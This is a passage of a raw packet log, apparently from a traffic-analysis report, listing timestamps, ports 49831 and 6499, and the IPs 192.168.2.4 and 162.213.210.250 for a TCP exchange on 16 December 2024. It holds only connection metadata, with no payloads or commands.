Dec 16, 2024 16:15:13.898507118 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:13.898878098 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.011898994 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.011940956 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.011996031 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.012006044 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.012032032 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.012100935 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.012327909 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.012384892 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.012419939 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.012434006 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.012455940 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.012563944 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.013303995 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.013417959 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.013474941 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.013482094 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.013513088 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.014144897 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.014183044 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.014210939 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.014220953 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.014278889 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.014338970 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.014440060 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.015117884 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.015151978 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.015187025 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.015223026 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.015227079 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.015285015 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.019711018 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.019857883 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.020045996 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.020081997 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.020101070 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.020145893 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.020613909 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.020649910 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.020776987 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.020811081 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.020833969 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.020844936 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.020881891 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.020916939 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.020951033 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.021068096 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.021068096 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.021119118 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.021322966 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.021357059 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.021410942 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.021445990 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.021466970 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.021559954 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.021595001 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.021629095 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.021665096 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.021862030 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.021898031 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.021929979 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.021965981 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.022187948 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.022222996 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.022255898 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.022290945 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.022331953 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.022331953 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.022331953 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.022331953 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.022331953 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.022353888 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.022353888 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.023055077 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.023091078 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.023123980 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.023160934 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.023336887 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.023336887 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.023863077 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.024004936 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.024039030 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.024075985 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.024441004 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.024924994 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.024979115 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.025012970 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.025046110 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.025578022 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.025578022 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.025583982 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.025641918 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.025676966 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.025847912 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.025866985 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.025996923 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.026586056 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.026619911 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.026654959 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.026865959 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.026912928 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.027335882 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.027503967 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.027559042 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.027592897 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.027626038 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.028472900 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.028510094 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.028544903 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.028675079 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.028675079 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.028675079 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.028712988 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.028969049 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.029359102 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.029392958 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.029428959 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.029464960 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.029529095 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.029786110 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.030289888 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.030324936 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.030479908 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.030740023 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.030757904 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.030812979 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.031356096 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.031404972 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.031420946 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.031470060 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.031552076 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.032136917 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.032154083 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.032284975 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.032300949 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.032314062 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.033071041 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.033087015 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.033103943 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.033128977 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.033142090 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.033186913 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.033855915 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.034091949 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.034109116 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.034244061 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.034261942 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.034291029 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.034354925 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.034939051 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.034998894 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.035015106 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.035286903 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.035325050 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.035382986 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.035836935 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.035912037 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.035926104 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.036043882 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.086182117 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.138389111 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.138390064 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.203800917 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.203823090 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.203840971 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.204003096 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.204250097 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.204265118 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.204384089 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.204401016 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.204440117 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.204440117 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.204440117 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.204814911 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.205357075 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.205374002 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.205390930 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.205518961 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.205879927 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.206173897 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.206190109 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.206206083 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.206442118 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.207010031 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.207052946 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.207067966 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.207185984 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.207340956 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.207340956 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.207340956 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.207340956 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.208028078 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.208044052 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.208060026 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.208228111 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.208599091 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.208935022 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.208950043 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.208967924 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.209395885 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.209810972 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.209853888 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.209871054 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.210091114 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.210767984 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.210783005 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.210803986 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.210931063 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.210936069 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.210936069 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.210936069 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.210936069 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.210936069 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.210975885 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.211333990 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.211698055 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.211714029 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.211730003 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.211854935 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.211990118 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.212596893 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.212600946 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.212642908 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.212657928 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.212672949 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.212894917 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.212894917 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.213565111 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.213579893 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.213596106 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.213612080 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.214445114 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.214468002 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.214494944 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.214509964 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.214524984 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.215336084 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.215336084 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.215336084 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.215416908 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.215431929 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.215449095 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.215620041 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.215692043 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.215718985 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.216355085 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.216370106 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.216384888 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.216730118 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.217308998 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.217324018 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.217340946 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.217356920 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.218060017 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.218060970 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.218060970 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.218060970 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.218164921 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.218225956 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.218242884 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.218375921 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.218399048 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.218513012 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.219155073 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.219170094 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.219185114 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.219341993 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.219356060 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.219440937 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.220118999 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.220135927 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.220150948 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.220999956 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.221018076 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.221045017 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.221059084 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.221075058 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.221997023 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.222017050 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.222033978 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.222719908 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.222843885 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.222862005 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.222950935 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.222950935 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.222950935 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.222950935 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.222960949 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.222979069 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.223047972 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.223047972 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.223047972 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.223788977 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.223804951 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.223926067 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.223943949 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.224438906 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.224438906 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.224730968 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.224745989 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.224764109 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.225610018 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.225626945 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.225661039 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.225678921 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.226044893 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.226044893 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.226044893 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.226066113 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.226566076 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.226583004 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.226696968 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.226713896 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.227340937 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.227341890 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.227603912 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.227618933 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.227633953 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.230137110 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.230138063 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.395850897 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.395869017 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.395997047 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.396034002 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.396049976 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.396065950 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.396178961 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.396727085 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.396778107 CET	49831	6499	192.168.2.4	162.213.210.250
Dec 16, 2024 16:15:14.397058964 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.397073984 CET	6499	49831	162.213.210.250	192.168.2.4
Dec 16, 2024 16:15:14.397244930 CET	49831	6499	192.168.2.4	162.213.210.250
